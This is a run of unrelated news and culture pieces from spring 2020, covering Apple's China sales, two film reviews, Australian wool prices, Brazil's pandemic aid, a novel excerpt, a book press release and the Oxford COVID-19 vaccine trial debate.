Nicholas Lardy, senior fellow at the Washington D.C.-based think tank Peterson Institute for International Economics, also said Tuesday that China's large-scale COVID-19 testing may pave the way for a strong economic recovery.

"Because China's economic recovery will depend largely on reviving its service sector, its strategy of large-scale testing for COVID-19 can help restore consumer confidence, paving the way for a stronger recovery in private consumption," Lardy said. Enditem
In this article AAPL

Apple sales in China continued to recover in April, thanks in part to the release of a cheaper iPhone. It comes as the world's second largest economy slowly reopens again after the coronavirus forced store closures earlier this year that caused sales to plummet. Still, analysts cautioned the U.S. technology giant could face a rocky road ahead in one of its most critical markets  China. Data from numerous sources collated by CNBC painted a positive picture for Apple since February, the height of the coronavirus outbreak in the country. Sales for the iPhone in China dropped a staggering 60% year-on-year in February this year. Apple was forced to close stores for a number of weeks as authorities sought to stem the spread of Covid-19. By mid-March, all the stores in China had reopened. Apple sold 3.9 million iPhones in China in April, according to CINNO Research. That's a 160% increase from March, when it sold 1.5 million smartphones, the Shanghai-based market research firm told CNBC.

Apple's sell-in shipments totaled around 3 million in April, according to preliminary estimates by another research firm, IDC. That's a roughly 30% increase compared to a month ago. Sell-in refers to the number of iPhones Apple sold to its retail partners in China and can be used as a gauge for future demand. In April, overall smartphone shipments in China rose over 94% versus March and reached 40.8 million, according to state-backed think tank, China Academy of Information and Communications Technology. Apple sells via a number of official retailers. One of them is Alibaba-owned e-commerce site, Tmall. Revenue from sales of all Apple products via its official store on Tmall jumped nearly 40% month-on-month in April to $127.6 million, WPIC, an e-commerce tech and marketing firm that helps foreign brands sell in China, told CNBC. For iPhones alone, revenue from Tmall rose over 33% month-on-month to just over $80 million.

Meanwhile, there were also signs of life in Apple's services revenue. While it is comprised of many different products from Apple Music subscriptions to iCloud, CNBC was only able to obtain estimates for consumer spending in China on the App Store. That figure was $1.53 billion in April, or a 7% month-on-month increase, according to Sensor Tower, which tracks app spending numbers. Apple did not respond to CNBC's request for comment. The various data points to a rosier picture for Apple's business in China, a very important market for the company. But analysts warn the Cupertino giant could face some headwinds in the next few months.

iPhone SE bump?

Apple released the second generation iPhone SE in mid-April which subsequently went on sale in China later that month. It starts at 3,299 yuan ($464) in the mainland. CINNO Research said the iPhone SE accounted for 24% of all of Apple's 3.9 million iPhone sales in April, despite only going on sale later in the month. IDC said the iPhone SE accounted for around 8% of shipments in April. But one analyst said that the figure may not necessarily reflect demand. "We see that the demand is not as strong as this supply," Will Wong, research manager at IDC, told CNBC.

The demand for 5G phones though is rising meteorically which could bring some headwinds to Apple's overall volumes in (the) coming months until a 5G iPhone is launched. Neil Shah research director at Counterpoint Research

On top of that, there are concerns that the epidemic could deal a sharp blow to China's economy for the rest of the year, which could impact consumer spending. "It's still tough. It's tough not only for Apple but also all smartphone makers. For Apple it's tough because right now, the economic situation is not so good and consumer sentiment has not fully returned to the normal levels," Wong said. He added that consumers may choose mid-to-low-range smartphone models. Apple has only one device in that category  the iPhone SE  whereas other vendors, such as Chinese phone-makers Xiaomi or Huawei, can cater to customers looking for cheaper handsets. "Users previously may have considered to buy Apple but right now they may choose Huawei as they might get a phone with cheaper price and good features," Wong said.

5G in China
Theres something about movies, television shows and even books featuring military wives that makes me hesitate. Its similar to my husbands aversion to watching movies and shows about current military events. Something is just always a little off. The uniform is wrong, the words are wrong, the situation is weird.

Ive felt that way so many times as Ive watched people try to tell the story of my life and experiences as a military wife. Or worse yet, they attempt to gather all of the experiences we all have over a collective 20-plus years into one season of a television show. Those shows, I worry, not only dont improve the military-civilian divide, they also dont help the internal division we see within the military spouse community. (Im looking at you, Army Wives.)

Despite those feelings, I agreed to watch the new feature film Military Wives, from the U.S.-based Bleecker Street studio starring Kristin Scott Thomas (The English Patient, Four Weddings and a Funeral) and Sharon Horgan (Catastrophe, Game Night), available on Hulu, Amazon Prime and iTunes on May 22.

Based on British military wives, I thought maybe the non-U.S. focus would make it feel different and farther removed from my life and let me ignore the imperfections, or chalk them up to the film being based on life in another country.

Instead, I was surprised by how much I loved the film.

Not only did not feel off -- I was blown away by how close to home the film, experiences and relationships felt. I laughed, I cried and I nodded my head in agreement to what was going on.

The story follows a group of military wives whose husbands are heading off for deployment. The staunch and traditional colonels wife is set in her ways and determined to bring unity among the spouses. The sassy and often rebellious sergeant majors wife brings us laugh after laugh with her in your face attitude.

And among the group of wives, we can each find ourselves. Theres the brand-new wife who married her high school sweetheart; the solo parent with the teenager who stays out late drinking; the one who writes notes and puts them in his luggage to find later; and the couple who says goodbye at home instead of in public.

We see  and understand -- the struggle to find childcare during family meetings. Theres the spouse who burns off steam drinking wine with her friends. And, my personal favorite, theres the spouse who gets caught packing up her husbands stuff into the closet before he even leaves.

These women yearn to come together but cant quite figure out whats standing in their way. Theyre united by their spouses service, but thats really it. They have different interests, different backgrounds and different desires.

To bridge that gap, the wives ultimately find their connection through singing. And we see them forge friendships and work through trauma together.

Director Peter Cattaneo (The Full Monty) said he chose music that crossed all barriers of age and cultural and social differences just like military spouses cross all barriers. He said it became apparent that the context of the songs was poignant without being cheesy.

They are emotional to an audience; music needs to be part of the story not just added on, he said.

A new-found realization and appreciation for military spouses developed during filming among the cast and crew, cast members said. Some, like Kristin Scott Thomas, who plays Kate, had a small amount of knowledge of military life when walking into the film -- but most of them didnt.

I have two stepbrothers who [were] in the Army. They both served in Iraq, one of them served in Afghanistan. Part of my childhood was spent on a naval base. So, I sort of knew a bit about it, even though that was the murky past. Scott Thomas said in an interview with Military.com. She said that writer Rachel Tunnard did a lot of research, which was really helpful.

Sharon Horgan, who plays opposite Scott Thomas as the regimental sergeant majors wife, said she had little knowledge of the military world going in but learned theyre just regular humans.

Thats something military spouses and service members have been preaching for a long time.

I think the idea that you can be that brave in that situation was the thing that was so surprising to me. I still can't sort of fathom it, how you can sort of just get on with life and everything that life throws at you, anyway. They just sort of get on with life, and they find joy, and fun, and everything else, but this thing is kind of hovering in the background. By the end of it, I had such an enormous respect for them, actually, Horgan said in an interview with Military.com.

And while military spouses do have some different experiences, deep down, we are also parents, spouses, professionals and friends. Thomas said working on this film highlighted that for her.

I think the thing that we forget, sort of us people, civilians, what we forget is that you all have exactly the same fears, anxieties, irritations, frustrations as we do. You're humans and exactly the same, but you're just under a hell of a lot more pressure, Scott Thomas said.

(L to R) Sharon Horgan (Lisa), Kristin Scott Thomas (Kate), Jason Flemyng (Crooks), Laura Elphinstone (Helen) and Emma Lowndes (Annie) star in Military Wives. (Aimee Spinks/Bleecker Street)

In one deployment farewell scene, Cattaneo said he actually used military wives as extras in the film.

It all happens the way it really does, because the families and soldiers have actually done it before, he said. It was understated  just, here you go.

When talking with Horgan, Scott Thomas and Cattaneo, you can really hear the excitement in their voices regarding the production of this film. They were thrilled, they said, when military wives from the United Kingdom and the United States told them how much they loved the film.

That's the best thing we love to hear is when real military spouses enjoy the movie. The highest compliment we could have, Scott Thomas said.

We're already campaigning for Military Wives Two, Horgan said.

Keep Up with the Ins and Outs of Military Life

For the latest military news and tips on military family benefits and more, subscribe to Military.com and have the information you need delivered directly to your inbox.

--Rebecca Alwine can be reached at rebecca.alwine@monster.com. Follow her on Twitter @rebecca_alwine.
While many romantic comedies focus on the making of the match, The Lovebirds opens after its already been made. In the movies first scene, Leilani (Issa Rae) and Jibran (Kumail Nanjiani) are in the rosy glow of first love, extending the morning after their first hookup with an impromptu breakfast and walk in the park. But one Four Years Later caption later, the bloom is entirely off the rose, and less than 10 minutes in, they break up. The bulk of the slim, less-than-90-minute runtime concerns how theyll get back together.

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This setup hearkens back to a comedy of remarriage, the classic Hollywood subgenre in which an established couple (often featuring Cary Grant, Katharine Hepburn, or both) begins at the edge of breaking up and then spends the movie rediscovering why they were always meant for each other. (Spoiler: The Awful Truth in the movie of that name is that theyre still in love.) One of the reasons why the rom-com generally has fallen on hard times in the 21st century is because so many of the classic obstacles placed in the characters wayfamilial pressure, sexual repressiondont hold sway the way they used to, but in the comedy of remarriage, theyre already together, and the obstacle is themselves or, sometimes, the interference of something less expected, such as a fugitive leopard. Thats why, in The Lovebirds, a few minutes after the two decide the time has come for them to break up, their car is hijacked by a man who says hes a police officer and they find themselves inadvertent accessories to murder.

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In 2004, critic David Edelstein observed that Eternal Sunshine of the Spotless Mind reworked the comedy of marriage, but there, the obstacles were not social but science-fictionalthe lovers had literally been erased from each others minds. Nanjiani and Lovebirds director Michael Showalter previous collaborated on The Big Sick, in which the impediment to, and eventual restorer of, the characters happiness is a life-threatening illness. In The Lovebirds, its a homicide, one to which Leilani and Jibran are innocent bystanders, but for numerous reasons, including the fact that theyre both people of color (another element thats new to this subgenre), they dont expect the police to believe theyre innocent. The distraught young white woman who calls the cops on them seems as upset about having to identify their race as she does about the bike courier their car has just run over multiple times. I dont think theyre murderers because, like, theyre minorities, she sobs. I think theyre murderers because they literally just killed a guy.

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Despite the fact that The Lovebirds has three credited writers and also feels like it was punched up by Rae or Nanjiani or botha running gag about one of Leilanis co-workers stealing all his jokes from Katt Williams is an inspired grace notethe story that follows feels half-baked and underthought. (Its hard to remember that before the pandemic closed movie theaters, this was meant to be a theatrical release, since it has the threadbare look of a straight-to-streaming production.) Although a few exterior shots take advantage of the storys New Orleans setting, theres little sense of placenot even the cops have Louisiana accents, although Pitch Perfects Anna Camp, as a member of the conspiracy into which the fugitive pair stumbles, does try something broad and generically Southern. You get the sense the production stopped in Louisiana just long enough to pick up the tax credit and then relocated to the nearest warehouse.

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The precise route of Leilani and Jibrans flight isnt that important: Its purpose is to throw the depth of their connection into stark relief. When one of them starts referring to the man whose killing they witnessed as Bicycle, the other doesnt wonder whom theyre talking about, or even question the moniker; they just pick up the thread and extend it, calling his mustachioed killer Mustache. They trace the victim back to an apartment inhabited by several white frat boys and start interrogating one, whom Rae belittles as, among other things, Lil Brett Kavanaugh and Date Rape McGee, and as they both put on their most intimidating faces, they slip into a rhythm without consultation. When they were living their bourgeois, pressure-free life, they had time to fight over whether Leilani was flirting with the IT guy at her ad agency or whether she was sufficiently respectful of Jibrans career as a documentary editor. But put them up against a wall, and each has the others back. When they finally get to the root of the conspiracy, which involves a scenario straight out of Eyes Wide Shut, she turns to him and whispers, Are we having the same dream?

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The way The Lovebirds executes this old template is largely unremarkable, so the fact that it works anyway is a testament to its leads star power, especially Raes. The I just fell in love with you smile she shoots Nanjiani in the movies opening minutes has a gleam that could power a small city, and she aces the deadpan in the moment when a waitress notices the smears on Nanjianis coat and Leilani explains, We were just painting our house  blood colors. You wish the two had more help, but the fact that they manage to carry the movie anyway just makes more clear how great their chemistry was all along.

For more on The Lovebirds, listen to this Spoiler Special podcast about the movie.
Irish wool merchants are unable to offer farmers a price for wool at the moment

Wool prices in Australia, the world's dominant exporter, have fallen more than 25% since early March after trade routes were abruptly cut amid the coronavirus pandemic, leaving Chinese wool mills in control over bidding.

The slowdown is so severe that wool auction houses across Australia have cut the number of trading days after the usual demand from high-end European tailors dried up.

Wool broker David Hart, from Nutrien Ag Solutions, told Reuters that Chinese buyers now controlled pricing.

"There's a lack of competition at auction and they have the market to themselves," said Hart, who attended the auction in the Sydney suburb of Yennora this week.

The benchmark price for merino wool traded at A$11.55 ($7.58) per kg this week, auction results show, down from A$15.62 per kg on March 6.

Prices have almost halved from a year ago, when global demand for wool products was soaring at the same time supply was under threat during a prolonged drought ravaging Australian farms.

Australia controls 90% of global fine-wool exports, where prices are largely driven by Chinese wool mills and Italian garment makers. The two countries purchase the majority of Australia's more than A$3 billion ($1.97 billion) in annual wool exports, although there are also buyers in India, South Korea and Japan.

Wool prices are particularly volatile and difficult to forecast, given there is no reliable data on inventory levels around the world.

Border closures during the pandemic meant they could not get Australian wool into most of their usual destinations, three traders told Reuters. They can, however, export to China, where the COVID-19 pandemic began, as Beijing re-ignites its manufacturing engines. COVID-19 is the respiratory disease caused by the novel coronavirus.

"Suffice to say China is the only show in town," said Andrew Blanch, managing director of New England Wool, which is owned by an Italian textile maker.
The President of Brazil, Jair Bolsonaro announced he will sign an aid package of $10.77 Billion for States hit by the pandemic.

The Bill was approved by the Brazilian Senate beginning of May but yet to be signed by the President under Pressure from his cabinet calling for more austerity to deal with the falling economy.

Bolsonaro has been criticized for his handling of the disease which has heavily affected the Brazilian economy and his popularity.

Brazil is one of the hardest hit nations with over 291,000 cases and nearly 19,000 deaths.

Although the figures could be higher as Brazil has not implemented wider testing like other nations.

Bolsonaro has asked Governors for their support in freezing public sector pay increases for 2 years in return for signing off the aid package.
Chapter One

Every memory is real, but not all are based on fact. Time, forgetfulness, emotional need  any of these things can chip away at memory. But what if a memory is wrong from the start? What if what you think you saw, isn't what was there at all?

This is why I love my camera. It is never wrong. It captures facts and stores them. This frees me to live in the moment and move on to the next with the knowledge that the first is preserved. Since coming to New York, I've documented snowstorms and floods. I've taken pictures of strangers and friends, the streets where I walk, the markets where I shop. I even photographed my way through childbirth  well, until the very end, when my doctor banished my Nikon from the birthing bed. And recording my daughter's life? I have thousands of photos of Joy. On the first day of school each year, we look back at what she wore on the first day of school the year before and the year before that. Inevitably we've forgotten. But there it is in vivid detail.

That isn't to say detail can't be fudged. I do this every day, photographing real estate in a way that shows a home to potential buyers as something bigger, brighter, more alluring. Angles, lenses, creative lighting  these are the stock of my trade. Deceptive, perhaps. But much of marketing is.

Right now, though, after spending my working day photographing a Tribeca condo from every imaginable angle in the shifting city light, I'm playing at home. It's just past nine at night. The skyline isn't fully dark, not this close to the longest day of the year, but the air is heavy and moist, as early June in New York can be, turning what might have been a purple sunset into elongated smudges of gray. Fog is on the move, enfolding my building like a hug from behind, before slipping on past. As I watch, it blankets the Hudson and mists around Fort Lee on the far bank, before drifting north to the George Washington Bridge like just another commuter heading home.

My condo is on the fortieth floor overlooking Riverside Drive. I paid more for it than I should have, but a river view was a must. I've always needed open space, not a lot, just enough. As long as I have that, I can breathe.

Swiveling the head of my tripod lower, I focus on the steady stream of traffic, which grows more vibrant with the deepening dusk. I've taken this same shot hundreds of times  maybe thousands  but it's never the same twice. Like the tide leaving ripples on sand, I think as I wait, remote in hand, for the right second.

Photography has taught me how to wait. It has also taught me how to focus on that single subject and ignore everything else. This doesn't come naturally to me. As the middle of three children, I was born with peripheral vision  as in, an acute awareness of my sisters above and below, my parents, our home and friends, and my precarious place in it all. Limiting myself to one scene at a time, as my camera does, has been huge.

The fog thickens on the street below. I wait until diffused headlights and taillights reappear, wait again when I hear a siren, then follow the blue strobe through the shift of vehicles. When I'm content, I turn north, wait for the best mix of fog, steel towers, and double-tiered lights, then shoot again.

"What's the bridge doing? Joy asks from the far end of the sofa, and I smile. She would know what the Nikon and I see. We're connected that way, my thirteen-year-old daughter and I. And this is a game we often play.

"Floating. I can't see its legs. Leaving the bridge, I find her reflection in the glass. With the rest of the lights off, her tiny book light is little more than a faint glow on the pink baby dolls that were her new favorites from the vintage store in the Village. But that glow isn't as warm as it would have been reflecting off paper.

Suspicious, I slide in beside her, angled to see her book. She starts to close it, makes a small sound, and stops. She knows that I've already seen what she was trying to hide, that her book light is clamped to the edge of Great Expectations but that tucked inside the bigger book is her Kindle. Close up now, I see page forty-four of Garth Stein's The Art of Racing in the Rain.

"But, but, but, I stutter, tipping my face up to see her, this was on our us reading list. We were supposed to read it together. Read it aloud, actually. When Joy was little, I always read aloud with her tucked up close, and somehow I just never stopped. The books have changed, and the older she gets, the more challenged I am to make my voice fit different characters. I'd been looking forward to being a dog.

"Well, I couldn't not read the first page, and then I had to read the second, she reasons. Isn't that what you always say, that if you want to keep reading, it's the sign of a good book? Olivia Mattson says this one's dumb, like who wants to know what a dog thinks, but I'm not sure how she knows anything about it, because her totally self-absorbed mother doesn't read "

"Joy."

"It's true. Her mother makes lots of money and can afford to buy any book she wants  can afford to buy the bookstore  and she doesn't read? And anyway, Olivia has the mind of a squirrel, and squirrels are afraid of dogs. Besides, when Olivia doesn't like something, I do, and here was this book, just sitting in my Kindle library? I was practically crying on page three. You know what happens?"

She isn't really asking. She knows I know, but letting sentences end in the air started along with her period. Even beyond spoilers on Goodreads and the ardor of my friend Chrissie, there was the teary conversation about old dogs that we overheard at the Best Friends Animal Society in Soho.

"It's good, Mom, she confides. Omigod. It's sooo good."

I want to talk about respecting schoolmates. But she happens to be right about Olivia Mattson's mother, who spent the better part of fifteen minutes at a recent back-to-school night lecturing me on how to build my business into something big, how to make my brand the brand for real estate photography in Manhattan, which is the last thing I want, since it would mean hiring regular staff, relying on paid ads over word of mouth, and spending less time with Joy.

But that's all beside the point. What about Great Expectations? I ask. Your final is next week."

"I'll be ready, you know I will, but if you're playing, why can't I?

"Because I spent six hours working today to keep you in vegan lip balm, retro clothes, and pomegranate juice, and because I've already graduated from middle school. Besides, I'm the mom and you're not. I get to play. It's a perk of growing up."

I deliberately add the last. My daughter isn't wild about the pressure that comes with being a teenager. Being precocious was cute in a child, not so in middle school, where social conformity is key. She wants to be either totally grown up already and able to speak her mind without being ostracized, or a child forever. We've had the Peter Pan discussion many times.

Rather than take the bait now, she simply says, Do I have to stop reading this?"

I rub her shoulder with my cheek. Her fresh-from-the-shower curls, still damp and docile, smell of organic mint shampoo. Nah. We'll pick another to do together. Maybe one where I can be a cat, I joke and, feeling a vibration, pull the phone from my jeans. The call is from the area code where I grew up. Just the sight of it brings a whoosh to the pit of my stomach. And at this hour? Not good. But neither my father's name nor my sister's appears, and I don't recognize the number. Spam? Possibly. Or not. My father isn't well, and given that my sister is ditsy, it could be one of his doctors. Or the hospital. Or neither.

Suspicious of the last, I click into the call expecting a robo-silence, and jerk when my name hits me fast.

"Mallory. Not a question, but a statement in a voice that is deep and tight, familiar but not. The whoosh in my stomach becomes a twist. Rhode Island is a small state, the town of Westerly smaller, its villages even smaller. I tell myself that this voice could belong to any one of the dozens of people I'd known growing up. But my gut says something else.

Standing, I move to the far side of the tripod and say a cautious, Yes?"

"It's Jack."

I know that, I think, and I barely breathe. Jack Sabathian grew up on the shore, just like us. He was my best friend once, but we haven't talked since I left, and while his voice is older now, I feel the force of memory fighting its way through the tangle of time.

"We have a problem, he barrels on. Your father was just over here knocking on my door  banging on my door, like he'd break it down  and when I opened it, he let me have it. He raises his voice to imitate. You no-good bastard, you knew exactly what was going on, didn't you. You probably planned the whole fucking thing with her  his language, not mine, he puts in before becoming my father again. You let me be investigated like I was a murderer, and you didn't say one word, but we both know she didn't die. Tell me where she is. I know you know. He had a gun, Mallory. He was waving a gun in my face. He swore he didn't own one back then. So either he lied to the DA twenty years ago or he bought it after the fact, but a gun is the last thing a man like that should have. You do know that he's sick  or are you just leavin the whole thing to Anne  who, by the way, is doing a lousy job, and not just with his care. The house is a mess and the bluff is falling into the sea, but unless she told you that, you wouldn't know, because you haven't been here to check. It isn't your responsibility, is it? Well, hello, Mallory, it is. So here's the thing. You need to step up to the plate. If he's talking about that night to me, he's probably talking about it in town. Bay Bluff may be only a tiny corner of Westerly, but the police love the coffee your sister serves in her shop. If he's blabbing, they'll hear  and hey, I'm all for it. He killed my mother? I want it coming out. Do you? Course not. So here's a wake-up call, the slightest pause before an accusatory, Mallory. Either you do something about him, or they will."

I'm spared having to respond by a decisive click, not that I could have spoken, I'm so shaken. That quickly the past is here and now. And the lump in my throat? Huge. Of the many things I've avoided thinking of since leaving Bay Bluff, John MacKay Sabathian is a biggie, but his angry voice brings everything back. I stand unmoving, looking at the foggy city night but seeing the ocean, the bluff, my father's boat leaving the dock and taking with it so so so much more than just Elizabeth.

"Mom, Joy prods with an insistence that says she has called my name several times. My eyes fly to hers. Who was that?"

I refocus. No one."

"No one was shouting. He was using your name. He even said bastard. I heard it from here."

Leaving the window, I switch on a lamp. I don't want to see the ocean, the bluff, the boat. Jack is right. I'm leaving it all to Anne.

But my daughter is mine. I'm raising her to be different from my past. And she isn't a baby. It was one of your grandfather's neighbors."

"He only has one. Anne was saying that  remember, when she was here last time with Margo?"

Oh, I remember. We were arguing again about that night  about whether Elizabeth had jumped, fallen, or been tossed off the boat by heavy gales, and whether she could have possibly survived. Joy had already known the basics, but my sisters were full-on into bickering about infidelity, deception, and abandonment. And murder. Murder was the conversation stopper, the horror issue, the visit-breaker.

Since Joy heard all that, I figure she's old enough to hear more. The guy who called is Jack Sabathian. He's Elizabeth's son."

Her eyes go wide. What did he say?"

I thumb in Anne's cell, knowing my daughter will listen in. The phone is approaching its fourth ring when my sister picks up.

"Mal? Her voice was always higher than mine, perky and bright to my down-to-earth sensible, but here she sounds out of breath. I wonder if she was outside chasing after my father.

"What's going on? I ask as casually as I can.

"Uh . . . now? Not much. You don't usually call at night. What's up? She seems innocent enough, but then, my sister is always innocent, thirty-seven going on twelve. I swear, Joy is more savvy.

"Jack Sab just called."

From A Week at the Shore by Barbara Delinsky. Copyright  2020 by the author and reprinted by permission of St. Martin's Publishing Group.

Available at Amazon.com, Bookshop.org (where your purchase supports independent bookstores), Barnes & Noble (bn.com) and wherever else books are sold.
Dedrick Jenkins is a Louisiana native who moved to Texas at the age of nine and personally saw the effects of urban life as well as a ten-year prison term. He has published his new book Block Bleeder: an evocative work of realistic fiction inspired by his own experiences on the Dallas streets.

The author writes, My approximately 65,000-word novel is about a full-blown crack addict named Crumb, who is willing to take penitentiary chances for his drug of choice. Crumb was going around Dallas committing crimes to support his habit until the police caught him with some crack. He was sentenced to a prison rehab, but after he was released, he was struggling. Crumb, who was desperate for a better life, committed an armed robbery and made away with $50,000, which he invested in some powder cocaine. He became the drug kingpin of Dallas who got involved with Fat Cat, who is the lady his heart yearned for during his addiction.

Before Crumb and Fat Cat got together, she was surviving from paycheck to paycheck taking care of her young daughter, Shantel. Crumb and Fat Cats brother, Lil Albert, were there for each other throughout the novel and one day Lil Albert rode with Crumb to watch his back while he made a big dope deal. Lil Albert betrayed Crumb and attempted to kill him so he could take the money and dope, but the plan didnt work out the way he intended it to.

This novel is also about a group of men who commits a home invasion and robs a big-time dealer of his money and dope. The group of guys started doing their own individual thing in the dope game, but bad luck is on their side.

Published by Page Publishing, Dedrick Jenkinss engrossing book is a stirring cautionary tale warning against succumbing to the easy allure of a fast life of crime on the streets.

Readers who wish to experience this engaging work can purchase Block Bleeder at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble.

For additional information or media inquiries, contact Page Publishing at 866-315-2708.

About Page Publishing:

Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com.
The leading Oxford University professor at the heart of the coronavirus vaccine trial has dismissed criticism of the treatment, stating it can prevent pneumonia.

Earlier this week it emerged that all six of the monkeys that were used in the vaccine trial had gone on to catch the coronavirus.

They were also found to have the same amount of Covid-19 in their noses as three non-vaccinated monkeys, suggesting those who are vaccinated could still be infected and pass the virus on to others.

However, Andrew Pollard, professor of paediatric infection and immunity, has defended the treatment, claiming that it achieves its primary purpose - namely to protect those who are vaccinated against the most severe effects of the virus.

Professor Andrew Pollard mounted a defence of the vaccine as it entered stage II trials

Oxford University's vaccine, ChAdOx1 nCov-19 has been rocked by criticism after all six monkeys that received it tested positive for coronavirus

Mounting a defence of the vaccine, Professor Andrew Pollard told the Today programme: 'That trial actually was on a small number of monkeys but what it showed is that the vaccine prevented pneumonia in those animals.

'That really supports moving the vaccine forward in humans because actually that's what we really want to know, is whether it can prevent pneumonia and severe infection in humans.'

The trial on monkeys also found that, unlike non-vaccinated primates, those that were vaccinated did not sustain any lung damage.

This, he claims provides an adequate basis for starting human trials.

The government has already pumped in the region of 90million into the research, and claimed a vaccine could be ready as early as September.

Business Secretary Alok Sharma revealed the UK plans to purchase as many as 30 million doses should the vaccine be proved effective.

How can I sign up for the Oxford University vaccine trials? As many as 10,260 volunteers are needed for stage two of the Oxford coronavirus vaccine trials. Scientist are looking for healthy people across Britain aged between five and more than 70 years. However, volunteers for the experimental jab should not have tested positive for Covid-19, be pregnant or breastfeeding, nad have previously taken part in a trial. You can sign up here. Advertisement

The potential vaccine was steamrolled into human trials last month, with more than 1,000 people receiving the immunisation.

Scientists are now pushing it in to stage two, which will involve the vaccine being given to more than 10,000 people across the UK aged between five and more than 70 years.

Participants immune response to the vaccine will be assessed, to see if there is variation by age, before the trials will reach stage three.

They will also be left to live their lives as normal, to see whether the vaccine prevents infection following natural exposure.

Asked whether the government's September target was realistic, Prof Pollard said: 'It's very difficult to know exactly when we'll have proof whether the vaccine works.

'We need proof within our population of 10,000 people to have enough of those who have been exposed to the virus over that time who have been, are hopefully, in the control group to see whether the coronavirus vaccine protects them.

'There is uncertainty over how many cases there will be in the next few months.

'But if there are cases it is certainly possible by the Autumn to have a result. But it's not possible to predict.'

A coronavirus vaccine developed in Britain may not stop those treated being infected. Pictured: A volunteer is injected with the vaccine in Oxford University's vaccine trial

Meanwhile, some scientists have heaped criticism onto the vaccine, describing the results of the monkey trial as 'concerning'.

Dr William Haseltine, a former Harvard Medical School professor, said it was 'crystal clear that the vaccine did not provide sterilising immunity to the virus challenge, the gold standard for any vaccine'.

'It may provide partial protection. Will it be enough to control the Covid-19 pandemic?' he wrote in an article for Forbes.

'For an answer we can look to other diseases for which only partially effective vaccines exist - HIV, tuberculosis and malaria. The answers are not encouraging.'

Three of the six vaccinated monkeys in the trial also began breathing more rapidly than normal following infection, making them clinically ill, revealed a May 13 preprint on BioRxiv.

Low numbers of neutralising antibodies against the virus were also detected in monkeys that had received the vaccine.

Professor of Immunology and Infectious Disease at Edinburgh University Eleanor Riley said the number of antibodies produced was 'insufficient' to prevent infection and viral shedding.

'If similar results were obtained in humans, the vaccine would likely provide partial protection against disease in the recipient but would be unlikely to reduce transmission in the wider community,' she said.

Professor of Molecular Biology at Nottingham University, John Ball, warned: 'The amount of virus genome detected in the noses of the vaccinated and un-vaccinated monkeys was the same and this is concerning.

'If this represents infectious virus and a similar thing occurs in humans, then vaccinated people can still be infected and shed large amounts of virus.

'This could potentially spread to others in the community.'

Business Secretary Alok Sharma has announced a deal between Oxford University and AstraZeneca which could see millions of vaccines available in the UK by September

WHAT IS THE DIFFERENCE BETWEEN VACCINES CREATED BY OXFORD AND IMPERIAL COLLEGE? The science behind both vaccine attempts hinges on recreating the 'spike' proteins that are found all over the outside of the COVID-19 viruses. Both will attempt to recreate or mimic these spikes inside the body. The difference between the two is how they achieve this effect. Imperial College London will try to deliver genetic material (RNA) from the coronavirus which programs cells inside the patient's body to recreate the spike proteins. It will transport the RNA inside liquid droplets injected into the bloodstream. The team at the University of Oxford, on the other hand, will genetically engineer a virus to look like the coronavirus - to have the same spike proteins on the outside - but be unable to cause any infection inside a person. This virus, weakened by genetic engineering, is a type of virus called an adenovirus, the same as those which cause common colds, that has been taken from chimpanzees. If the vaccines can successfully mimic the spikes inside a person's bloodstream, and stimulate the immune system to create special antibodies to attack it, this could train the body to destroy the real coronavirus if they get infected with it in future. The same process is thought to happen in people who catch COVID-19 for real, but this is far more dangerous - a vaccine will have the same end-point but without causing illness in the process. Advertisement

Business Secretary Alok Sharma has said the government is hoping to be in a position to roll-out a mass vaccination programme in the Autumn of this year.

Mr Sharma praised the Oxford vaccine and said: 'The speed with which Oxford University has designed and organised these complex trials is genuinely unprecedented.

'This new money will help mass produce the Oxford vaccine so that if current trials are successful we have dosages to start vaccinating the UK population straight away.

'The UK will be the first to get access and we can also ensure that in addition to supporting people here, we are able to make the vaccine available to developing countries at the lowest possible cost.'

Imperial College London is also working on a vaccine to stop coronavirus, which it says aims to trigger a rapid immune response using the 'spike' protein on the virus surface.

It has received more than 20 million in funding so far.

However, Robin Shattock, head of mucosal infection and immunity at Imperial, said it is 'important not to have a false expectation that it is just around the corner'.

Prof Shattock said there are an estimated 100 coronavirus vaccines in development around the world.

But the 'most optimistic estimation' would suggest that one proven to be successful will not be 'readily available for wide scale use into the beginning of next year'.

He said it 'may take quite some time' for researchers to get all the data they need to prove without doubt that a vaccine actually works.

Asked if the UK is 'on the brink' of getting a working vaccine, Prof Shattock told the BBC: 'I think we need to distinguish two different things. One of the hurdles is making vaccine doses, obviously AstraZeneca can do that and that is a good thing but that is very different to having the data that proves that the vaccine actually works.

'We need to have those data to show that it is ready and appropriate to roll out. It may take quite some time to get that data, it is a numbers game.

'And in fact as we are better at reducing the number of infections in the UK it gets much harder to test whether the vaccine works or not.

Imperial's Professor Robin Shattock has said it 'may take quite some time' for researchers to develop a working vaccine

'There are no certainties, no guarantees in developing any of these candidates so I think it is important not to have a false expectation that it is just around the corner.

US firm Moderna's experimental vaccine shows potential to block coronavirus in human trials Moderna's experimental COVID-19 vaccine produced antibodies that could 'neutralize' the new coronavirus in patients in a small early stage clinical trial, the company announced Monday, sending its shares up by more than 20 percent. The levels of the antibodies - immune cells made in response to a germ, which may provide protection against reinfection - were similar to those in blood samples of people who have recovered from COVID-19, early results from the study conducted by the National Institutes of Health (NIH) showed. Participants were given three different doses of the vaccine and Moderna said it saw dose-dependent increase in immunogenicity, the ability to provoke an immune response in the body. Moderna noted that the early trial is intended to determine the safety and side effects of the vaccine and, although the early results are promising, it's too soon to say whether the shot candidate can actually block the virus. The company has been in the lead of the US race to make a COVID-19 vaccine, and nearly neck-in-neck with an Oxford University effort to make one in the UK. Advertisement

'It may be longer than any of us would want to think.'

Some health experts have suggested a vaccine could take as long as 18 months to develop while others have cautioned one may never be found.

Prof Shattock said: 'I think we need to keep context here. Obviously there could be some success, we could see things working earlier if we get the numbers and the kind of AstraZeneca approach is preparing for that success.

'But it is probably very likely that we won't really get the evidence until into early next year and then there is a difference between a solution in the UK which could be rolled out and a global solution.

'A global solution is likely to take much longer just because of the sheer operational effort to make billions of doses and make them available worldwide.'

